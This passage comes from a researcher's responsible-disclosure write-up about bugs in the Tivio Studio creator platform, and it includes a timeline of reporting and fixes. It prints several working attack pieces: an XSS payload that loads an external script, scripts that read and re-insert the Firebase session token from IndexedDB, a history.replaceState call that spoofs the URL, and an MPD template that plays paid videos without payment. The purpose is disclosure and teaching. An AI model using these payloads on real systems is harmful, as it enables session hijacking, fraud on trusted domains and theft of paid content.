The problem was the double slashes in the source URL. I replaced them with an alternative encoding.

// → String.fromCharCode(47,47)

I wanted to write s.src=String.fromCharCode(47,47)+`example.com` in the payload, so I also had to URL-encode the + symbol for it to work correctly in the URL.

+ → %2B
s.src=String.fromCharCode(47,47)%2B`example.com`;

I then tried the XSS with an external script containing alert(document.domain)...

...and everything worked correctly.

The resulting payload for loading an external script was therefore:

javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`example.com`;d.body.appendChild(s);

What could an attacker actually obtain via XSS?
If a logged-in user opened an attacker's link, their registered data – name, email – could be exfiltrated. If the user also had a subscription, the paid content (interviews, articles, RSS with subscription) could also be obtained.

However, XSS would only provide one-time access to the content. So I also looked into stealing the user session (session hijacking).

I needed to determine where the user session was stored...

I deleted the cookies – nothing happened, I was still logged in.

I deleted localStorage and sessionStorage – again nothing. Interesting... 🤔

I looked carefully in DevTools – Application and discovered that Google Firebase stores all session data in IndexedDB, specifically: IndexedDB – firebaseLocalStorageDb – firebaseLocalStorage

I had never encountered this usage before. From what I found, this is the default "drop zone" for Firebase Authentication. All tokens (access/refresh) and user information are stored here.

And to my surprise, this location is not protected against JavaScript reads.

From a security standpoint, it is therefore equivalent to regular localStorage. Google surprised me somewhat here. Some users have even flagged this issue.

Data was always stored with the same "Key", which simplified everything. To extract all values from IndexedDB I used this script:

let request = indexedDB.open("firebaseLocalStorageDb");
 
request.onsuccess = function(event) {
    let db = event.target.result;
    let transaction = db.transaction(["firebaseLocalStorage"], "readonly");
    let objectStore = transaction.objectStore("firebaseLocalStorage");
    let getRequest = objectStore.get("firebase:authUser:AIzaSyB02udgMkNLADkLJ_w5YNBMR2VR1WHfusI:[DEFAULT]");
 
    getRequest.onsuccess = function(event) {
        let jsonData = JSON.stringify(getRequest.result);
        console.log(jsonData);
    };
};

And to insert these values back into IndexedDB I used:

let request = indexedDB.open("firebaseLocalStorageDb", 1);
 
request.onupgradeneeded = function(event) {
    let db = event.target.result;
    let objectStore = db.createObjectStore("firebaseLocalStorage", { keyPath: "fbase_key" });
};
 
request.onsuccess = function(event) {
    let db = event.target.result;
    let transaction = db.transaction(["firebaseLocalStorage"], "readwrite");
    let objectStore = transaction.objectStore("firebaseLocalStorage");
    
    let dataToInsert = XXXX; // insert new values into IndexedDB
 
    let addRequest = objectStore.add(dataToInsert);
};

Session Hijacking was therefore an additional impact of the XSS.

The full PoC video is in the "Videos: Possible Exploitation Scenarios" section – Session Theft – Session Hijacking (XSS).

I then thought further about how else to illustrate the impact of this vulnerability in the report – and how to demonstrate it for educational purposes.

Since the XSS vulnerability was present on the domains of many large creators and companies, I decided to demonstrate the impact through page content modification. Although this is a standard vulnerability consequence (JavaScript can always modify content), in this case it could be used for many frauds, because it affected many publicly known individuals/companies.

On social media, deepfake scams featuring well-known personalities linking to obviously fraudulent pages are very common. If an attacker used a Tivio-managed page (e.g. dvtv.cz, ukulatehostolu.com, hoste.vojtazizka.cz), the fraud could have a far higher success rate = greater financial losses and reputational damage to creators. It would then be very difficult for creators to explain that while it did appear on their pages, it was not their content.

An attacker could use paid ads on YouTube or paid posts on Instagram/Facebook. The link would lead to a trusted page but containing XSS in the URL. Everyone who clicked the ad would see manipulated/fraudulent content – all on a trusted domain.

For educational purposes I therefore created two examples of how an attacker could exploit this. An example with a fake crowdfunding campaign and a fraudulent investment platform.

The demonstrations are in the "Videos: Possible Exploitation Scenarios" section – Fake Crowdfunding Campaign, Fraudulent Investment Platform.

Since this was a Reflected XSS vulnerability, the victim would see the full XSS payload in the address bar.

https://example.cz/redirect?to=javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`example.com`;d.body.appendChild(s);

In theory something could be encoded, but the URL would still be quite long and suspicious. With Reflected XSS, URL spoofing can be used to change the URL path (example.cz/custom-URL-path).

Two methods can be used for this: history.replaceState() or history.pushState().

history.pushState() creates a new entry in the browsing history. The user sees the changed address in the address bar, but also has the option to go back to the previous page (the XSS payload page).

In practice, a Reflected XSS link would likely be opened in a new tab, and allowing the user to go back would not be desirable.

history.replaceState() replaces the current history entry immediately. This also changes the address in the address bar, but without the option to go back.

Both methods share an important limitation: the user must not refresh the page, because this would load the URL shown in the address bar → 404 page not found.

The most suitable approach was therefore:

history.replaceState(null, '', '/vip-section');

When this script is used in the XSS payload, opening the link changes the address bar to https://example.cz/vip-section, so the victim would see nothing suspicious at all.

During the analysis of the Firebase bug I was looking up affected creators and came across Vojta Žižka's course – Investiční průvodce (investicnipruvodce.cz).

In Burp Suite's history I noticed that this particular course's responses revealed links to course materials.

This information was therefore accessible to anyone who visited the investicnipruvodce.cz pages and opened DevTools – Network. (Note: This was already the 2nd bug exploitable in this way.)

The materials contained not only various useful links but also phone numbers and emails for mortgage advisors working with the course – information that is not easily searchable elsewhere.

Combined with the Firebase storage bug, it was therefore possible to obtain the complete course worth 4,780 Kč in total (videos + materials).

I compiled these three described bugs and on December 9, 2024, I sent the report to the CEO of Tivio Studio's email address. Ladislav Navrátil had confirmed this email address during our initial phone call on December 6, 2024.

In the email I did not request any financial or other reward. The sole objective was to report the bugs for fixing.

The very next day I noticed that one of the bugs had been fixed – the Reflected XSS was patched. So the email had been received and they had clearly accessed the report.

But nothing else happened...

I waited a week, two weeks, and still no new fix or reply.

After a month, in January, I noticed that Tivio Studio was no longer managing investicnipruvodce.cz – the partnership had likely ended. At the start of January, though, the reported bug still had not been fixed.

Furthermore, the critical Firebase Storage bug had still not been fixed.

It is not really my place to chase the company and send reminders. My "work" ended with sending the report to the responsible email address. It should be in their interest to fix the bug as soon as possible. Ideally they would fix it and then inform me as well.

It was February 10, 2025 – exactly two months since the report – and still no email reply or new fix.

I was starting to get quite nervous. I began planning that if the bug was not fixed within 90 days ("90-day disclosure deadline"), I would send another email warning. This time I would CC several creators to create pressure for a faster fix.

The very next day, on February 11, I discovered that the Firebase storage had been fixed.

As soon as I noticed the fix, I sent a new email to the Tivio Studio CEO. They had forgotten to invalidate all downloadTokens. In addition, they had also forgotten to restrict access to paid DVTV magazines.

While waiting for a reply, I retested the fixes in more detail. I knew, for example, that the bug exposing materials in the investicnipruvodce.cz responses had not been fixed as of early January.

So I focused again on the area of paid materials/articles...

It took only a few minutes and I found the articles bug again. This time it involved a slightly different request from before, but the principle was the same.

I opened DevTools – Network on a paid article page and looked at the requests being made.

I noticed a request: GET europe-west3-tivio-production.cloudfunctions.net/getRowsInScreen3

And again, the full paid content was in the response.

No subscription, no significant technical knowledge. Any user who opened the response to getRowsInScreen3 in the browser obtained paid information. (Note: This was already the 3rd bug exploitable purely through the browser's "Network" tab.)

I found paid articles at Ondřej Koběrský's and Vojta Žižka's sites. If any other creator also used paid posts, they were almost certainly affected as well.

On Vojta Žižka's site there were various recommendations from his podcast guests. With Ondřej Koběrský the exploitation was more impactful.

In his posts he writes about completed equity purchases or the current situation in financial markets. He also included links to non-public Google Sheets documents with detailed descriptions of selected stocks – information such as at what price he would buy a given stock, whether he currently holds it, and his own commentary on the company.

A few days later, on February 13, 2025, I was speaking with my former Avast colleague Benjamin Král, who alerted me to the unsecured MP3 links Tivio Studio was using.

The issue: the RSS address (accessible without a subscription) contained a link to an MP3 interview with a token (https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…). Opening that link redirected to an MP3 file that no longer required the authentication token.

https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…
302 Found ->
https://ondemand.streaming.tivio.studio/v2/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/192/en.mp3
302 Found ->
https://r2-videos-test.tivio.studio/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/a192/en.mp3

To obtain a complete DVTV interview in MP3 format, knowing one of the last two URLs and changing VIDEO_ID was sufficient. This ID is easily found via DevTools in the browser – it appears in both the console and in "Elements".

While verifying whether the MP3 bug also affected other creators, I stumbled upon another new security vulnerability.

I discovered a way to freely play any video from the Stargaze, Starmax.tv, and Oktagon.tv platforms.

To play a video, again all that was needed was to change the VIDEO_ID in a URL that could be obtained in the browser via DevTools – Network. (Note: This was already the 4th bug exploitable purely via the browser's "Network" tab.)

Again, no subscription or significant technical knowledge was needed. Any user could reach that URL through the browser and play any video.

Addendum: This was apparently a new production regression. A mutual agreement was reached not to describe it in detail. I came across the bug on February 13. I cannot say exactly how long it had been in production – but it was certainly at least a week. For at least a week, therefore, anyone could have been freely watching paid content from Stargaze, Starmax.tv, and Oktagon.tv.

It was February 18, 2025. I had 3 new vulnerabilities to report, but I had still received no reply to the email from December 9, 2024, or the one from February 11, 2025. What now? Write yet another email? 🤔

I decided to try a different approach.

I would write to support saying that I wanted to report security bugs and ask them for the appropriate email address to send them to.

I never send a report to a support email. My responsibility under responsible disclosure is to ensure that the information reaches the right person directly (CEO, CTO, CISO, Security Lead/Manager, or a dedicated security email). They can then decide themselves who else to share the bug information with.

On February 18 in the late afternoon I sent my query to the support email.

The final sentence, "Ideally someone who can ensure a fast fix," was very key. I did not want to wait months for a fix again 🙃.

The following day, February 19, a reply came in the morning.

That was not the reply I wanted. No, the best contact for reporting security bugs is definitely not the support email. That kind of response is like a red flag to a bull for me.

I was therefore more specific in my reply. The email could certainly have been written better, but at that point I was getting fairly desperate. I really did not want the support team to read the report contents and forward everything on.

I also wanted confirmation that the email addresses for other individuals in the company were valid. The CEO's email was not among those listed – it had been confirmed verbally during the initial call.

And the response from support...

...well, the reply was absolutely useless to me.

I am genuinely giving up on this. Honestly, at this point I was already quite frustrated. Someone wants to report newly found security vulnerabilities and cannot even do so properly. Well, technically they can, but it would no longer be responsible disclosure.

All that was needed was to confirm one of the listed email addresses. It would also have been sufficient for support to simply forward my email to someone else – the end result would have been the same anyway.

"I received information that you are already dealing with this directly with our CEO." – well, I would not exactly use the word "dealing with." I would rephrase that as: "I sent two emails and received no reply in two months."

This is what a real-world experience looks like when, in your own free time and without any claim to financial compensation, you report security bugs for a company with a quarter-billion Kč revenue.

I say "without any claim" because Tivio Studio has no public bug bounty programme, so there is no established amount one can demand.

If Tivio Studio had a published security.txt file, many of these reporting difficulties could have been avoided and the process would likely have been significantly faster. (I am writing this section in March 2026 and they still do not have a security.txt. Nor do they list a security contact on their website. Both were recommended to them.)

But back to reporting the bugs...

About 30 minutes after the last support message, a reply from the CEO arrived.

Apparently he had been out of the office the previous week and someone from support had just called him to say I had found new vulnerabilities. He wanted to arrange an in-person meeting and also discuss potential collaboration.

I therefore summarised the entire arduous reporting process and attached the report with the newly discovered vulnerabilities.

In his reply, a meeting and reward were again offered. He also explained why my December message had gone unanswered: the reply had been sent to the wrong recipient – my email address had not been in the To field.

In addition, however, the reported vulnerability (access to videos) was challenged – I was asked to specify the exact time it had occurred.

Here is the most important part of my reply:

To add context: at that moment (the afternoon of February 19) the bug had likely already been fixed. However, the bug had still existed that morning, had worked the day before, and had worked on February 13 too. The recording above also shows that the videos being played were from the past few days – they were the most recent U Kulatého stolu uploads.

"If you wish to reward me for the findings, that is entirely voluntary and I leave that decision completely up to you. I would like to mention upfront, however, that the reward will have no bearing on the planned publication."

You will notice that I left the reward decision entirely with them. They have no public bug bounty programme, so a specific amount cannot be demanded. At that point I left it to the company to decide whether and how the reported bugs were useful to them.

In closing I suggested they should get a penetration test done as soon as possible – but not by me.

A few days passed and on February 25 I was informed by the CTO that the reported bugs had been fixed. I went to verify them...

The paid articles fix was in place, but the MP3 file fix was insufficient. They were still accessible without a subscription. The fix had only applied to one of the two URLs.

During retesting, however, I came across yet another new security vulnerability.

While browsing stargaze.com, I noticed that every video player first loaded an MPD file, which then downloaded the video/audio content (m4s segments).

I downloaded the entire MPD file (for a free Čestmír Strakatý segment) and of course nothing played in offline mode.

The reason was that the <BaseURL> tag contained only a relative address (./1080/) and the file was no longer being served from the Tivio server.

I opened DevTools – Network, copied the address from which the m4s files were being loaded, added it to the downloaded MPD file inside the <BaseURL> tag, saved, and launched.

The video then played.

I noticed that the URL again used the creator ID + video ID pattern. Both values were visible either in the console or in DevTools – Elements.

I kept the creator ID the same and only swapped the video ID. Saved, launched and...

...an entire paid video started playing.

I had once again gained access to many paid videos from many creators. The bug this time was a missing authentication token in the MPD files, specifically in the BaseURL reference.

An MPD file defines the video/audio duration using segments. The original downloaded MPD file belonged to a free excerpt of only a few minutes. To play a complete paid video, the duration needed to be corrected. I therefore created a universal test file with the duration set to 4 hours and 16 minutes.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>https://ondemand.streaming.tivio.studio/v2/VIDEO_ID/CREATOR_ID/42069/v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...
          <SegmentURL media="3998.m4s"/>
          <SegmentURL media="3999.m4s"/>
          <SegmentURL media="4000.m4s"/>

Total video duration = Number of <SegmentURL media="X.m4s"/> * (segment duration)
Total video duration = Number of <SegmentURL media="X.m4s"/> * (duration / timescale)
Total video duration = 4000 * (49152/12800)
Total video duration = 15,360 sec = 4 hrs 16 min

With the duration set this way, any video would always play in full because every other video was shorter. When the playing video ended, the player would just show black – nothing more to play, no more content on the server. The purpose was served, though – I always reached the full content and only needed to change the video ID each time, not the duration.

This method worked for Stargaze (various creators), Starmax.tv (dozens of Czech and foreign movies), and Oktagon.tv (MMA).

I compiled this vulnerability, together with the incomplete MP3 fix, into a new report and sent it for remediation.

These bugs were fixed fairly quickly. Within 2 days an authentication token began to be appended to the BaseURL of every video. The same was done for MP3 interviews.

I then wisely decided not to try anything new 😅. After all, every single retest I did turned up at least one new bug.

I had my own work obligations, and this was neither a commissioned security test nor reporting within a bug bounty programme. Up to this point I did not even know whether Tivio Studio would reward me at all.

I had demonstrated in several ways that it was possible to bypass payment for paid content. A real attacker would only need one vulnerability to exploit. In total I reported 6 ways to access paid content for free, plus one XSS vulnerability. From my side the work was "done" and there was no motivation to keep finding more and more methods.

A reward did ultimately come and on June 9, 2025, I received 1,500 € (37,350 Kč) for the discovered vulnerabilities.

Conclusion

The goal of this write-up was not to describe complex exploits, but rather to highlight a reality that is far from uncommon. With simple steps it was possible to access paid content that creators had entrusted to the platform.

In total I reported seven vulnerabilities for remediation. Six of the bugs concerned access to paid content. None of those six required advanced technical knowledge – most could be exploited with nothing more than a browser.

For two of the six, simply opening Developer Tools was enough – the user obtained important URLs where they only needed to change the ID of the target content (Firebase Storage, the undisclosed bug). Two more bugs concerned paid articles, where the user did not need to change anything – everything could be read directly from the browser. For the remaining two, the browser also played an important role. One vulnerability additionally required only opening an RSS address, from which the user obtained a link to an MP3 interview. For the other, it was necessary to copy a URL from the DevTools – Network tab and insert it into an MPD file.

It was therefore possible in several ways to bypass the most important thing for creators – payment for their content. The seventh and final vulnerability (XSS) could have been used for various frauds. It could have damaged not only the creator's reputation, but also led to financial losses for users. I should add that I have no information about any exploitation of the XSS vulnerability. The situation was different for the paid-content bugs. I personally know of a few people from conferences who were aware of the bugs and therefore had free access to the content. The exploitation was fairly trivial, so this is hardly surprising...

The XSS vulnerability was fixed quickly, already the day after reporting. Some of the later findings were also fixed relatively quickly. The most critical Firebase Storage bug, however, was fixed two months after reporting.

Tivio Studio has no public bug bounty programme or security.txt file with a contact for reporting security bugs. The reporting process itself was therefore very exhausting. If a contact had existed, the company would have received important security bug information without delay, which could have led to faster fixes and mitigated the impact on their clients.

Adding a security contact to their website or to a security.txt file was recommended to them. It has been 15 months since the first report and at the time this write-up was published, this contact was still absent from their site (and also from managed sites).

Timeline and Reward

06 Dec 2024 – Phone call with CEO Ladislav Navrátil
09 Dec 2024 – Report sent: XSS, publicly accessible Firebase storage, course materials visible in browser
10 Dec 2024 – Fixed: XSS vulnerability
16 Jan 2025 – Tivio no longer manages investicnipruvodce.cz
11 Feb 2025 – Fixed: Publicly accessible Firebase storage
19 Feb 2025 – New report: Access to paid article content, free video playback, and free MP3 interviews
19 Feb 2025 – Fixed: Free video playback
25 Feb 2025 – Fixed: Access to paid article content, MP3 interviews (partially)
26 Feb 2025 – New report: MPD BaseURL manipulation and MP3 interview access
03 Mar 2025 – Fixed: Article detail page (investicnipruvodce.cz)
06 Mar 2025 – Already fixed: MPD BaseURL manipulation and MP3 interview access

After the fixes I was invited to lunch and offered a collaboration. For the discovered vulnerabilities I was paid a reward of 1,500 € (~37,350 Kč).

(Note: A penetration test was agreed upon, focusing on new functionality. From my side, Firebase configuration and unauthorised video access were not retested. The pentest was conducted in September 2025.)